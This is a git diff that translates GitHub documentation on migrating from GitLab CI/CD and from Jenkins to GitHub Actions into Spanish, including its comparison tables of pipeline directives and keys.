-* Jobs contain a series of steps or scripts that run sequentially.
-* Jobs can run on separate machines or in separate containers.
-* Jobs run in parallel by default, but can be configured to run sequentially.
+* Los jobs contienen una serie de pasos o scripts que se ejecutan secuencialmente.
+* Los jobs pueden ejecutarse en máquinas o contenedores separados.
+* Los jobs se ejecutan en paralelo predeterminadamente, pero pueden configurarse para ejecutarse en secuencia.
 
-You can run a script or a shell command in a job. In GitLab CI/CD, script steps are specified using the `script` key. In {% data variables.product.prodname_actions %}, all scripts are specified using the `run` key.
+Puedes ejecutar un script o un comando de shell en un job. En la IC/EC de GitLab, los pasos de los scripts se especifican utilizando la clave `script`. En {% data variables.product.prodname_actions %}, todos los scripts se especifican utilizando la clave `run`.
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table class="d-block">
 <tr>
 <th>
-GitLab CI/CD
+IC/EC de GitLab
 </th>
 <th>
 {% data variables.product.prodname_actions %}
@@ -78,16 +78,16 @@ jobs:
 </tr>
 </table>
 
-## Runners
+## Ejecutores
 
-Runners are machines on which the jobs run. Both GitLab CI/CD and {% data variables.product.prodname_actions %} offer managed and self-hosted variants of runners. In GitLab CI/CD, `tags` are used to run jobs on different platforms, while in {% data variables.product.prodname_actions %} it is done with the `runs-on` key.
+Los ejecutores son máquinas en donde se ejecutan los jobs. Tanto la IC/EC de GitLab como las {% data variables.product.prodname_actions %} ofrecen variantes administradas y auto-hospedadas de los ejecutores. En la IC/EC de GitLab, se utilizan las `tags` para ejecutar jobs en plataformas diferentes, mientras que en las {% data variables.product.prodname_actions %} todo se realiza con la clave `runs-on`.
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table>
 <tr>
 <th>
-GitLab CI/CD
+IC/EC de GitLab
 </th>
 <th>
 {% data variables.product.prodname_actions %}
@@ -129,18 +129,18 @@ linux_job:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on)."
+Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para las {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on)".
 
-## Docker images
+## Imágenes de Docker
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} support running jobs in a Docker image. In GitLab CI/CD, Docker images are defined with an `image` key, while in {% data variables.product.prodname_actions %} it is done with the `container` key.
+Tanto la IC/EC de GitLab como las {% data variables.product.prodname_actions %} son compatibles con la ejecución de jobs en una imagen de Docker. En la IC/EC de GitLab, las imágenes de Docker se definen con una clave de `image`, mientras que en las {% data variables.product.prodname_actions %} se hace con la clave `container`.
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table class="d-block">
 <tr>
 <th>
-GitLab CI/CD
+IC/EC de GitLab
 </th>
 <th>
 {% data variables.product.prodname_actions %}
@@ -167,18 +167,18 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)."
+Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)".
 
-## Condition and expression syntax
+## Sintaxis de condiciones y expresiones
 
-GitLab CI/CD uses `rules` to determine if a job will run for a specific condition. {% data variables.product.prodname_actions %} uses the `if` keyword to prevent a job from running unless a condition is met.
+La IC/EC de GitLab utiliza `rules` para determinar si un job se ejecutará para una condición específica. Las {% data variables.product.prodname_actions %} utilizan la palabra clave `if` para prevenir que un job se ejecute a menos de que se cumpla con una condición.
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table class="d-block">
 <tr>
 <th>
-GitLab CI/CD
+IC/EC de GitLab
 </th>
 <th>
 {% data variables.product.prodname_actions %}
@@ -212,18 +212,18 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+Para obtener más información, consulta la sección "[Expresiones](/actions/learn-github-actions/expressions)".
 
-## Dependencies between Jobs
+## Dependencias entre los Jobs
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} allow you to set dependencies for a job. In both systems, jobs run in parallel by default, but job dependencies in {% data variables.product.prodname_actions %} can be specified explicitly with the `needs` key. GitLab CI/CD also has a concept of `stages`, where jobs in a stage run concurrently, but the next stage will start when all the jobs in the previous stage have completed. You can recreate this scenario in {% data variables.product.prodname_actions %} with the `needs` key.
+Tanto la IC/EC de GitLab como las {% data variables.product.prodname_actions %} te permiten configurar dependencias para un job. En ambos sistemas, los jobs se ejecutan en paralelo predeterminadamente, pero las dependencias de éstos en las {% data variables.product.prodname_actions %} se pueden especificar explícitamente con la clave `needs`. La IC/EC de GitLab también tiene un concepto de `stages`, en donde los jobs de una etapa se ejecutan simultáneamente, pero la siguiente etapa comenzaría cuando todos los jobs de la etapa previa se hayan completado. Puedes crecrear este escenario en las {% data variables.product.prodname_actions %} con la palabra clave `needs`.
 
-Below is an example of the syntax for each system. The workflows start with two jobs named `build_a` and `build_b` running in parallel, and when those jobs complete, another job called `test_ab` will run. Finally, when `test_ab` completes, the `deploy_ab` job will run.
+Puedes encontrar un ejemplo de la sintaxis para cada sistema. Los flujos de trabajo comienzan con dos jobs que se llaman `build_a` y `build_b` ejecutándose en paralelo y, cuando estos jobs se completan, se ejecutará otro job llamado `test_ab`. Finalmente, cuando se completa el `test_ab`, se ejecutará el job `deploy_ab`.
 
 <table class="d-block">
 <tr>
 <th>
-GitLab CI/CD
+IC/EC de GitLab
 </th>
 <th>
 {% data variables.product.prodname_actions %}
@@ -291,30 +291,30 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)".
 
-## Scheduling workflows
+## Programar flujos de trabajo
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} allow you to run workflows at a specific interval. In GitLab CI/CD, pipeline schedules are configured with the UI, while in {% data variables.product.prodname_actions %} you can trigger a workflow on a scheduled interval with the "on" key.
+Tanto la IC/EC de GitLab como las {% data variables.product.prodname_actions %} te permiten ejecutar flujos de trabajo en un intervalo específico. En la IC/EC de GitLab, las programaciones de mapa se configuran con la IU, mientras que en las {% data variables.product.prodname_actions %} puedes activar un flujo de trabajo en un intervalo programado con la clave "on".
 
-For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#scheduled-events)."
+Para obtener más información, consulta la sección "[Eventos que activan los flujos de trabajo](/actions/reference/events-that-trigger-workflows#scheduled-events)".
 
-## Variables and secrets
+## Variables y secretos
 
-GitLab CI/CD and {% data variables.product.prodname_actions %} support setting environment variables in the pipeline or workflow configuration file, and creating secrets using the GitLab or {% data variables.product.product_name %} UI.
+La IC/EC de GitLab y las {% data variables.product.prodname_actions %} son compatibles con la configuración de variables de ambiente en el mapa o en el archivo de configuración de flujo de trabajo, y con la creación de secretos utilizando la IU de GitLab o de {% data variables.product.product_name %}.
 
-For more information, see "[Environment variables](/actions/reference/environment-variables)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+Para obtener más información, consulta las secciones "[Variables de ambiente](/actions/reference/environment-variables)" y "[Secretos cifrados](/actions/reference/encrypted-secrets)".
 
-## Caching
+## Almacenamiento en caché
 
-GitLab CI/CD and {% data variables.product.prodname_actions %} provide a method in the configuration file to manually cache workflow files.
+La IC/EC de GitLab y las {% data variables.product.prodname_actions %} proporcionan un método en el archivo de configuración para guardar los archivos de flujo de trabajo manualmente en el caché.
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table class="d-block">
 <tr>
 <th>
-GitLab CI/CD
+IC/EC de GitLab
 </th>
 <th>
 {% data variables.product.prodname_actions %}
@@ -359,18 +359,18 @@ jobs:
 </tr>
 </table>
 
-{% data variables.product.prodname_actions %} caching is only applicable for repositories hosted on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+El almacenamiento en caché de las {% data variables.product.prodname_actions %} solo se aplica a los repositorios que se hospedan en {% data variables.product.prodname_dotcom_the_website %}. Para obtener más información, consulta la sección "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Almacenar las dependencias en caché para agilizar los flujos de trabajo</a>".
 
-## Artifacts
+## Artefactos
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} can upload files and directories created by a job as artifacts. In {% data variables.product.prodname_actions %}, artifacts can be used to persist data across multiple jobs.
+Tanto la IC/EC de GitLab como las {% data variables.product.prodname_actions %} pueden cargar como artefactos los archivos y directorios que creen los jobs. En las {% data variables.product.prodname_actions %}, los artefactos pueden utilizarse para persistir los datos a través de varios jobs.
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table>
 <tr>
 <th>
-GitLab CI/CD
+IC/EC de GitLab
 </th>
 <th>
 {% data variables.product.prodname_actions %}
@@ -401,20 +401,20 @@ artifacts:
 </tr>
 </table>
 
-For more information, see "[Storing workflow data as artifacts](/actions/guides/storing-workflow-data-as-artifacts)."
+Para obtener más información, consulta la sección "[Almacenar los datos de los flujos de trabajo como artefactos](/actions/guides/storing-workflow-data-as-artifacts)".
 
-## Databases and service containers
+## Bases de datos y contenedores de servicios
 
-Both systems enable you to include additional containers for databases, caching, or other dependencies.
+Ambos sistemas te permiten incluir contenedores adicionales para bases de datos, almacenamiento en caché, u otras dependencias.
 
-In GitLab CI/CD, a container for the job is specified with the `image` key, while {% data variables.product.prodname_actions %} uses the `container` key. In both systems, additional service containers are specified with the `services` key.
+En la IC/EC de GitLab, un contenedor para el job se especifica con la clave `image` key, mientras que las {% data variables.product.prodname_actions %} utilizan la clave `container`. En ambos sistemas se especifican contenedores de servicio adicionales con la clave `services`.
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table class="d-block">
 <tr>
 <th>
-GitLab CI/CD
+IC/EC de GitLab
 </th>
 <th>
 {% data variables.product.prodname_actions %}
@@ -486,4 +486,4 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[About service containers](/actions/guides/about-service-containers)."
+Para obtener más información, consulta la sección "[Acerca de los contenedores de servicio](/actions/guides/about-service-containers)".
diff --git a/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md b/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
index dba3e38286..28e3b05c29 100644
--- a/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
+++ b/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from Jenkins to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Jenkins share multiple similarities, which makes migration to {% data variables.product.prodname_actions %} relatively straightforward.'
+title: Migrar de Jenkins a GitHub Actions
+intro: '{% data variables.product.prodname_actions %} y Jenkins comparten varias similaridades, lo cual hace que migrar a {% data variables.product.prodname_actions %} sea relativamente sencillo.'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-jenkins-to-github-actions
 versions:
@@ -14,103 +14,104 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from Jenkins
+shortTitle: Migrarse desde Jenkins
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-Jenkins and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. Jenkins and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+Tanto Jenkins como {% data variables.product.prodname_actions %} te permiten crear flujos de trabajo que compilan, prueban, publican, lanzan y despliegan código automáticamente. Jenkins y {% data variables.product.prodname_actions %} comparten algunas similaridades en la configuración del flujo de trabajo:
 
-- Jenkins creates workflows using _Declarative Pipelines_, which are similar to {% data variables.product.prodname_actions %} workflow files.
-- Jenkins uses _stages_ to run a collection of steps, while {% data variables.product.prodname_actions %} uses jobs to group one or more steps or individual commands.
-- Jenkins and {% data variables.product.prodname_actions %} support container-based builds. For more information, see "[Creating a Docker container action](/articles/creating-a-docker-container-action)."
-- Steps or tasks can be reused and shared with the community.
+- Jenkins crea flujos de trabajo utilizando _Mapas Declarativos_, los cuales son similares a los archivos de flujo de trabajo de {% data variables.product.prodname_actions %}.
+- Jenkins utiliza _etapas_ para ejecutar un conjunto de pasos, mientras que {% data variables.product.prodname_actions %} utiliza jobs para agrupar uno o mas pasos o comandos individuales.
+- Jenkins y {% data variables.product.prodname_actions %} son compatibles con compilaciones basadas en el contenedor. Para obtener más información, consulta "[Crear una acción de contenedor Docker](/articles/creating-a-docker-container-action)".
+- Los pasos o tareas pueden reutilizarse y compartirse con la comunidad.
 
-For more information, see "[Core concepts for {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+Para obtener más información, consulta la sección "[Conceptos esenciales para {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)".
 
-## Key differences
+## Diferencias clave
 
-- Jenkins has two types of syntax for creating pipelines: Declarative Pipeline and Scripted Pipeline. {% data variables.product.prodname_actions %} uses YAML to create workflows and configuration files. For more information, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions)."
-- Jenkins deployments are typically self-hosted, with users maintaining the servers in their own data centers. {% data variables.product.prodname_actions %} offers a hybrid cloud approach by hosting its own runners that you can use to run jobs, while also supporting self-hosted runners. For more information, see [About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners).
+- Jenkins tiene dos tipos de sintaxis para crear mapas: Mapa Declarativo y Mapa de Script. {% data variables.product.prodname_actions %} utiliza YAML para crear flujos de trabajo y archivos de configuración. Para obtener más información, consultala sección "[Sintaxis de flujo de trabajo para GitHub Actions](/actions/reference/workflow-syntax-for-github-actions)".
+- Los despliegues de jenkins son típicamente auto-hospedados y los usuarios mantienen los servidores en sus propios centros de datos. {% data variables.product.prodname_actions %} ofrece un acercamiento híbrido en la nube, hospedando sus propios ejecutores que puedes utilizar para ejecutar jobs, mientras que también son compatibles con ejecutores auto-hospedados. Para obtener más información, consulta la sección [Acerca de los ejecutores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners).
 
-## Comparing capabilities
+## Comparación de capacidades
 
-### Distributing your builds
+### Distribuir tus compilaciones
 
-Jenkins lets you send builds to a single build agent, or you can distribute them across multiple agents. You can also classify these agents according to various attributes, such as operating system types.
+Jenkis te permite enviar compilaciones a un agente de compilación sencilla, o puedes distribuirlas a través de varios agentes. También puedes clasificar estos agentes de acuerdo con diversos atributos, tales como los tipos de sistema operativo.
 
-Similarly, {% data variables.product.prodname_actions %} can send jobs to {% data variables.product.prodname_dotcom %}-hosted or self-hosted runners, and you can use labels to classify runners according to various attributes. For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions#runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+De forma similar, las {% data variables.product.prodname_actions %} pueden enviar jobs a los ejecutores auto-hospedados u hospedados en {% data variables.product.prodname_dotcom %}, y puedes utilizar etiquetas para clasificar los ejecutores de acuerdo con diversos atributos. Para obtener más información, consulta las secciones "[Entender las {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions#runners)" y "[Acerca de los ejecutores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)".
 
-### Using sections to organize pipelines
+### Utilizar secciones para organizar mapas
 
-Jenkins splits its Declarative Pipelines into multiple sections. Similarly, {% data variables.product.prodname_actions %} organizes its workflows into separate sections. The table below compares Jenkins sections with the {% data variables.product.prodname_actions %} workflow.
+Jenkins divide sus Mapas Declarativos en varias secciones. De forma similar, las {% data variables.product.prodname_actions %} organizan sus flujos de trabajo en secciones separadas. En esta tabla se comparan las secciones de Jenkins con el flujo de trabajo de {% data variables.product.prodname_actions %}.
 
-| Jenkins Directives | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
-| [`agent`](https://jenkins.io/doc/book/pipeline/syntax/#agent)   | [`jobs.<job_id>.runs-on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on) <br> [`jobs.<job_id>.container`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainer) |
-| [`post`](https://jenkins.io/doc/book/pipeline/syntax/#post)     |  |
-| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#stages) | [`jobs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobs) |
-| [`steps`](https://jenkins.io/doc/book/pipeline/syntax/#steps)   | [`jobs.<job_id>.steps`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps) |
+| Directivas de Jenkins                                              | {% data variables.product.prodname_actions %}
+| ------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| [`agent`](https://jenkins.io/doc/book/pipeline/syntax/#agent)      | [`jobs.<job_id>.runs-on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on) <br> [`jobs.<job_id>.container`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainer) |
+| [`publicación`](https://jenkins.io/doc/book/pipeline/syntax/#post) |                                                                                                                                                                                                                                                                                                        |
+| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#stages)    | [`Trabajos`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobs)                                                                                                                                                                                            |
+| [`pasos`](https://jenkins.io/doc/book/pipeline/syntax/#steps)      | [`jobs.<job_id>.steps`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)                                                                                                                                                                |
 
-## Using directives
+## Utilizar directivas
 
-Jenkins uses directives to manage _Declarative Pipelines_. These directives define the characteristics of your workflow and how it will execute. The table below demonstrates how these directives map to concepts within {% data variables.product.prodname_actions %}.
+Jenkins utiliza directivas para administrar los _Mapas Declarativos_. Estas directivas definen las características de tu flujo de trabajo y la manera en que se ejecuta. La tabla siguiente demuestra cómo dichas directivas mapean los conceptos en {% data variables.product.prodname_actions %}.
 
-| Jenkins Directives | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
-| [`environment`](https://jenkins.io/doc/book/pipeline/syntax/#environment)                  | [`jobs.<job_id>.env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env) <br> [`jobs.<job_id>.steps[*].env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv) |
-| [`options`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                       | [`jobs.<job_id>.strategy`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy) <br> [`jobs.<job_id>.strategy.fail-fast`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast) <br> [`jobs.<job_id>.timeout-minutes`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes) |
-| [`parameters`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                    | [`inputs`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs) <br> [`outputs`](/actions/creating-actions/metadata-syntax-for-github-actions#outputs) |
-| [`triggers`](https://jenkins.io/doc/book/pipeline/syntax/#triggers)                        | [`on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#on) <br> [`on.<event_name>.types`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onevent_nametypes) <br> [<code>on.<push\|pull_request>.<branches\|tags></code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestbranchestags) <br> [<code>on.<push\|pull_request>.paths</code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpaths) |
-| [`triggers { upstreamprojects() }`](https://jenkins.io/doc/book/pipeline/syntax/#triggers) | [`jobs.<job_id>.needs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds) |
-| [Jenkins cron syntax](https://jenkins.io/doc/book/pipeline/syntax/#cron-syntax)            | [`on.schedule`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onschedule) |
-| [`stage`](https://jenkins.io/doc/book/pipeline/syntax/#stage)                              | [`jobs.<job_id>`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_id) <br> [`jobs.<job_id>.name`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname) |
-| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools)                              | {% ifversion ghae %}The command-line tools available in `PATH` on your self-hosted runner systems. {% data reusables.actions.self-hosted-runners-software %}{% else %}[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software) |{% endif %}
-| [`input`](https://jenkins.io/doc/book/pipeline/syntax/#input)                              | [`inputs`](/actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs) |
-| [`when`](https://jenkins.io/doc/book/pipeline/syntax/#when)                                | [`jobs.<job_id>.if`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif) |
+| Directivas de Jenkins                                                                                                                                                                                                                                                                                                                                                                | {% data variables.product.prodname_actions %}
+| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [`environment`](https://jenkins.io/doc/book/pipeline/syntax/#environment)                                                                                                                                                                                                                                                                                                            | [`jobs.<job_id>.env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env) <br> [`jobs.<job_id>.steps[*].env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv)                                                                                                                                                                                                                                                                                              |
+| [`options`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                                                                                                                                                                                                                                                                                                                 | [`jobs.<job_id>.strategy`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy) <br> [`jobs.<job_id>.strategy.fail-fast`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast) <br> [`jobs.<job_id>.timeout-minutes`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes)                                                                                    |
+| [`parameters`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                                                                                                                                                                                                                                                                                                              | [`inputs`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs) <br> [`outputs`](/actions/creating-actions/metadata-syntax-for-github-actions#outputs)                                                                                                                                                                                                                                                                                                                                                                                                        |
+| [`triggers`](https://jenkins.io/doc/book/pipeline/syntax/#triggers)                                                                                                                                                                                                                                                                                                                  | [`on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#on) <br> [`on.<event_name>.types`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onevent_nametypes) <br> [<code>on.<push\|pull_request>.<branches\|tags></code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestbranchestags) <br> [<code>on.<push\|pull_request>.paths</code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpaths) |
+| [`triggers { upstreamprojects() }`](https://jenkins.io/doc/book/pipeline/syntax/#triggers)                                                                                                                                                                                                                                                                                           | [`jobs.<job_id>.needs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds)                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| [Sintaxis de Jenkins cron](https://jenkins.io/doc/book/pipeline/syntax/#cron-syntax)                                                                                                                                                                                                                                                                                                 | [`on.schedule`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onschedule)                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| [`etapa`](https://jenkins.io/doc/book/pipeline/syntax/#stage)                                                                                                                                                                                                                                                                                                                        | [`jobs.<job_id>`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_id) <br> [`jobs.<job_id>.name`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname)                                                                                                                                                                                                                                                                                                       |
+| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools)                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| {% ifversion ghae %}Las herramientas de línea de comandos disponibles en `PATH` en tus sistemas de ejecutores auto-hospedados. {% data reusables.actions.self-hosted-runners-software %}{% else %}[Especificaciones para los ejecutores hospedados en {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software) | {% endif %}
+| [`input`](https://jenkins.io/doc/book/pipeline/syntax/#input)                                                                                                                                                                                                                                                                                                                        | [`inputs (entrada)`](/actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs)                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
+| [`when`](https://jenkins.io/doc/book/pipeline/syntax/#when)                                                                                                                                                                                                                                                                                                                          | [`jobs.<job_id>.if`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif)                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
 
-## Using sequential stages
+## Utilizar etapas secuenciales
 
-### Parallel job processing
+### Proceso paralelo de jobs
 
-Jenkins can run the `stages` and `steps` in parallel, while {% data variables.product.prodname_actions %} currently only runs jobs in parallel.
+Jenkins puede ejecutar las `stages` y `steps` en paralelo, mientras que, actualmente, {% data variables.product.prodname_actions %} solo ejecuta jobs en paralelo.
 
-| Jenkins Parallel | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
+| Jenkins en Paralelo                                                 | {% data variables.product.prodname_actions %}
+| ------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | [`parallel`](https://jenkins.io/doc/book/pipeline/syntax/#parallel) | [`jobs.<job_id>.strategy.max-parallel`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel) |
 
-### Build matrix
+### Matriz de compilaciones
 
-Both {% data variables.product.prodname_actions %} and Jenkins let you use a build matrix to define various system combinations.
+Tanto {% data variables.product.prodname_actions %} como Jenkins te permiten utilizar una matriz de compilaciones para definir diversas combinaciones de sistema.
 
-| Jenkins       | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
+| Jenkins                                                                  | {% data variables.product.prodname_actions %}
+| ------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | [`axis`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-axes)       | [`strategy/matrix`](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix) <br> [`context`](/actions/reference/context-and-expression-syntax-for-github-actions) |
-| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages)   | [`steps-context`](/actions/reference/context-and-expression-syntax-for-github-actions#steps-context) |
-| [`excludes`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) |  |
+| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages)   | [`steps-context`](/actions/reference/context-and-expression-syntax-for-github-actions#steps-context)                                                                                            |
+| [`excludes`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) |                                                                                                                                                                                                 |
 
-### Using steps to execute tasks
+### Utilizar pasos para ejecutar tareas
 
-Jenkins groups `steps` together in `stages`. Each of these steps can be a script, function, or command, among others. Similarly, {% data variables.product.prodname_actions %} uses `jobs` to execute specific groups of `steps`.
+Jenkins agrupa los `steps` en `stages`. Cada uno de estos pasos puede ser un script, función, o comando, entre otros. De manera similar, {% data variables.product.prodname_actions %} utiliza `jobs` para ejecutar grupos específicos de `steps`.
 
-| Jenkins steps | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
+| Pasos de Jenkins                                                | {% data variables.product.prodname_actions %}
+| --------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
 | [`script`](https://jenkins.io/doc/book/pipeline/syntax/#script) | [`jobs.<job_id>.steps`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps) |
 
-## Examples of common tasks
+## Ejemplos de tareas comunes
 
-### Scheduling a pipeline to run with `cron`
+### Programar un mapa para ejecutarse con `cron`
 
 <table>
 <tr>
 <th>
-Jenkins Pipeline
+Mapa de Jenkins
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+Flujo de trabajo de {% data variables.product.prodname_actions %}
 </th>
 </tr>
 <tr>
